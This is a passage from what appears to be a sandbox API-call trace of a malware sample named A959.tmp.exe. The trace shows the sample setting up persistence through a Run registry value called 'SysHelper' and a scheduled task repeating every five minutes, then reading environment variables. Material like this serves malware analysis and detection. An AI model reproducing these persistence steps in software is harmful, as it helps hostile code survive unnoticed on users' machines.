lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.467] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x1330000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="genre-heaven.exe") returned 0x10 [0044.467] CloseHandle (hObject=0x59c) returned 1 [0044.467] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c4) returned 0x0 [0044.467] CloseHandle (hObject=0x0) returned 0 [0044.467] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x714) returned 0x59c [0044.467] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c3f4, cb=0x4, lpcbNeeded=0x18c3d8 | out: lphModule=0x18c3f4, lpcbNeeded=0x18c3d8) returned 1 [0044.468] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x400000, lpBaseName=0x18bbd8, nSize=0x400 | out: lpBaseName="A959.tmp.exe") returned 0xc [0044.468] CloseHandle (hObject=0x59c) returned 1 [0044.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x28) returned 0x725468 [0044.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x74d080 [0044.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x74f560 [0044.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x74f7c8 [0044.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x301a8d8 [0044.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x301ab40 [0044.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x301ada8 [0044.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x301b010 [0044.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x301b278 [0044.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x301b4e0 [0044.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25c) returned 0x301b748 [0044.469] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c3d8 | out: phkResult=0x18c3d8*=0x59c) returned 0x0 [0044.469] RegQueryValueExW (in: hKey=0x59c, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18c3d4, lpData=0x18ab00, lpcbData=0x18c3b8*=0x400 | out: lpType=0x18c3d4*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart", lpcbData=0x18c3b8*=0xd8) returned 0x0 [0044.469] RegCloseKey (hKey=0x59c) returned 0x0 [0044.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x3042788 [0044.469] lstrlenA (lpString="\" --AutoStart") returned 13 [0044.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016188 [0044.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3042788 | out: hHeap=0x670000) returned 1 [0044.469] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe") returned 1 [0044.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016250 [0044.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016188 | out: hHeap=0x670000) returned 1 [0044.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016188 [0044.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016318 [0044.469] CoInitialize (pvReserved=0x0) returned 0x0 [0044.548] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0044.549] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x30163e0 [0044.549] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18c3c4 | out: ppv=0x18c3c4*=0x27008b8) returned 0x0 [0044.555] TaskScheduler:ITaskService:Connect (This=0x27008b8, serverName=0x18be50*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x5f, varVal2=0xc0), user=0x18be60*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xc8), domain=0x18be70*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), password=0x18be80*(varType=0x0, wReserved1=0x301, wReserved2=0xc36c, wReserved3=0x18, varVal1=0x41720b, varVal2=0x670000)) returned 0x0 [0044.581] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x30090b0 [0044.581] TaskScheduler:ITaskService:GetFolder (in: This=0x27008b8, Path="\\", ppFolder=0x18c3cc | out: ppFolder=0x18c3cc*=0x2700920) returned 0x0 [0044.583] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30090b0 | out: hHeap=0x670000) returned 1 [0044.583] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x30090b0 [0044.583] ITaskFolder:DeleteTask (This=0x2700920, Name="Time Trigger Task", flags=0) returned 0x0 [0044.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30090b0 | out: hHeap=0x670000) returned 1 [0044.623] TaskScheduler:ITaskService:NewTask (in: This=0x27008b8, flags=0x0, ppDefinition=0x18c3d0 | out: ppDefinition=0x18c3d0*=0x2700950) returned 0x0 [0044.623] TaskScheduler:IUnknown:Release (This=0x27008b8) returned 0x1 [0044.623] ITaskDefinition:get_RegistrationInfo (in: This=0x2700950, ppRegistrationInfo=0x18c3a4 | out: ppRegistrationInfo=0x18c3a4*=0x2700a10) returned 0x0 [0044.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x30090f8 [0044.623] IRegistrationInfo:put_Author (This=0x2700a10, Author="Author Name") returned 0x0 [0044.623] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30090f8 | out: hHeap=0x670000) returned 1 [0044.624] IUnknown:Release (This=0x2700a10) returned 0x1 [0044.624] ITaskDefinition:get_Principal (in: This=0x2700950, ppPrincipal=0x18c3ac | out: ppPrincipal=0x18c3ac*=0x2700ba0) returned 0x0 [0044.624] IPrincipal:put_LogonType (This=0x2700ba0, LogonType=3) returned 0x0 [0044.624] IUnknown:Release (This=0x2700ba0) returned 0x1 [0044.624] ITaskDefinition:get_Settings (in: This=0x2700950, ppSettings=0x18c3b4 | out: ppSettings=0x18c3b4*=0x2700ac0) returned 0x0 [0044.624] ITaskSettings:put_StartWhenAvailable (This=0x2700ac0, StartWhenAvailable=1) returned 0x0 [0044.624] IUnknown:Release (This=0x2700ac0) returned 0x1 [0044.624] ITaskSettings:get_IdleSettings (in: This=0x2700ac0, ppIdleSettings=0x18c398 | out: ppIdleSettings=0x18c398*=0x2700b30) returned 0x0 [0044.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x30090f8 [0044.624] IIdleSettings:put_WaitTimeout (This=0x2700b30, WaitTimeout="PT5M") returned 0x0 [0044.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30090f8 | out: hHeap=0x670000) returned 1 [0044.624] IUnknown:Release (This=0x2700b30) returned 0x1 [0044.624] ITaskDefinition:get_Triggers (in: This=0x2700950, ppTriggers=0x18c394 | out: ppTriggers=0x18c394*=0x2700a80) returned 0x0 [0044.624] ITriggerCollection:Create (in: This=0x2700a80, Type=1, ppTrigger=0x18c3a0 | out: ppTrigger=0x18c3a0*=0x2700c00) returned 0x0 [0044.624] IUnknown:Release (This=0x2700a80) returned 0x1 [0044.624] IUnknown:QueryInterface (in: This=0x2700c00, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18c3bc | out: ppvObject=0x18c3bc*=0x2700c00) returned 0x0 [0044.625] IUnknown:Release (This=0x2700c00) returned 0x2 [0044.625] ITrigger:get_Repetition (in: This=0x2700c00, ppRepeat=0x18c3a8 | out: ppRepeat=0x18c3a8*=0x2700c50) returned 0x0 [0044.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x30090f8 [0044.625] IRepetitionPattern:put_Interval (This=0x2700c50, Interval="PT5M") returned 0x0 [0044.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30090f8 | out: hHeap=0x670000) returned 1 [0044.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x30090f8 [0044.625] IRepetitionPattern:put_Duration (This=0x2700c50, Duration="") returned 0x0 [0044.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30090f8 | out: hHeap=0x670000) returned 1 [0044.625] ITrigger:put_Repetition (This=0x2700c00, Repetition=0x2700c50) returned 0x0 [0044.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x30090f8 [0044.625] ITrigger:put_Id (This=0x2700c00, Id="Trigger1") returned 0x0 [0044.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30090f8 | out: hHeap=0x670000) returned 1 [0044.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x30090f8 [0044.625] ITrigger:put_EndBoundary (This=0x2700c00, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0044.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30090f8 | out: hHeap=0x670000) returned 1 [0044.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18be7c | out: lpSystemTimeAsFileTime=0x18be7c*(dwLowDateTime=0xc2bc430, dwHighDateTime=0x1d53559)) [0044.625] GetLastError () returned 0x0 [0044.625] SetLastError (dwErrCode=0x0) [0044.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x24) returned 0x3041f68 [0044.625] GetLastError () returned 0x0 [0044.625] SetLastError (dwErrCode=0x0) [0044.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0044.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1f) returned 0x3010c60 [0044.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3010c60, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0044.626] GetLastError () returned 0x0 [0044.626] SetLastError (dwErrCode=0x0) [0044.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x2faea88 [0044.626] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x2faea88) returned 0x4 [0044.626] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2faea88, Size=0x8) returned 0x2faea98 [0044.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0044.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x36) returned 0x739060 [0044.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x739060, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0044.626] GetLastError () returned 0x0 [0044.626] SetLastError (dwErrCode=0x0) [0044.626] GetLastError () returned 0x0 [0044.626] SetLastError (dwErrCode=0x0) [0044.626] GetLastError () returned 0x0 [0044.626] SetLastError (dwErrCode=0x0) [0044.626] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x2faea98) returned 0x8 [0044.626] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2faea98, Size=0xc) returned 0x30090f8 [0044.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0044.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x37) returned 0x3038508 [0044.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3038508, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0044.626] GetLastError () returned 0x0 [0044.626] SetLastError (dwErrCode=0x0) [0044.626] GetLastError () returned 0x0 [0044.626] SetLastError (dwErrCode=0x0) [0044.626] GetLastError () returned 0x0 [0044.626] SetLastError (dwErrCode=0x0) [0044.626] GetLastError () returned 0x0 [0044.626] SetLastError (dwErrCode=0x0) [0044.627] GetLastError () returned 0x0 [0044.627] SetLastError (dwErrCode=0x0) [0044.627] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x30090f8) returned 0xc [0044.627] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x30090f8, Size=0x10) returned 0x3009128 [0044.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0044.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3c) returned 0x3017fb0 [0044.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3017fb0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0044.627] GetLastError () returned 0x0 [0044.627] SetLastError (dwErrCode=0x0) [0044.627] GetLastError () returned 0x0 [0044.627] SetLastError (dwErrCode=0x0) [0044.627] GetLastError () returned 0x0 [0044.627] SetLastError (dwErrCode=0x0) [0044.627] GetLastError () returned 0x0 [0044.627] SetLastError (dwErrCode=0x0) [0044.627] GetLastError () returned 0x0 [0044.627] SetLastError (dwErrCode=0x0) [0044.627] GetLastError () returned 0x0 [0044.627] SetLastError (dwErrCode=0x0) [0044.627] GetLastError () returned 0x0 [0044.627] SetLastError (dwErrCode=0x0) [0044.627] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x3009128) returned 0x10 [0044.627] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3009128, Size=0x14) returned 0x722bb0 [0044.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0044.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x31) returned 0x3038488 [0044.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3038488, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0044.627] GetLastError () returned 0x0 [0044.627] SetLastError (dwErrCode=0x0) [0044.627] GetLastError () returned 0x0 [0044.627] SetLastError (dwErrCode=0x0) [0044.627] GetLastError () returned 0x0 [0044.627] SetLastError (dwErrCode=0x0) [0044.627] GetLastError () returned 0x0 [0044.628] SetLastError (dwErrCode=0x0) [0044.628] GetLastError () returned 0x0 [0044.628] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x722bb0, Size=0x18) returned 0x723030 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0044.628] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x17) returned 0x722bb0 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x722bb0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0044.628] GetLastError () returned 0x0 [0044.628] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x723030, Size=0x1c) returned 0x3010c88 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0044.628] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x24) returned 0x3041f98 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x3041f98, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0044.628] GetLastError () returned 0x0 [0044.628] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3010c88, Size=0x20) returned 0x3010cb0 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0044.628] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x14) returned 0x723030 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x723030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0044.628] GetLastError () returned 0x0 [0044.628] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3010cb0, Size=0x24) returned 0x3042148 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.628] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xd) returned 0x3009128 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x3009128, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0044.628] GetLastError () returned 0x0 [0044.628] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3042148, Size=0x28) returned 0x3042118 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0044.628] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x25) returned 0x3042148 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3042148, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0044.628] GetLastError () returned 0x0 [0044.628] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3042118, Size=0x2c) returned 0x2ffd1f0 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0044.628] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x39) returned 0x3017ff8 [0044.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x3017ff8, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0044.628] GetLastError () returned 0x0 [0044.629] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2ffd1f0, Size=0x30) returned 0x2ffd4c8 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0044.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x18) returned 0x3033008 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3033008, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0044.629] GetLastError () returned 0x0 [0044.629] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x2ffd4c8, Size=0x34) returned 0x3038548 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0044.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x17) returned 0x3033048 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x3033048, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0044.629] GetLastError () returned 0x0 [0044.629] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3038548, Size=0x38) returned 0x3038588 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0044.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xe) returned 0x30090f8 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x30090f8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0044.629] GetLastError () returned 0x0 [0044.629] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3038588, Size=0x3c) returned 0x3018040 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0044.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x69) returned 0x2ffea58 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x2ffea58, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0044.629] GetLastError () returned 0x0 [0044.629] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x3018040, Size=0x40) returned 0x3018088 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0044.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3e) returned 0x3018040 [0044.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x3018040, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 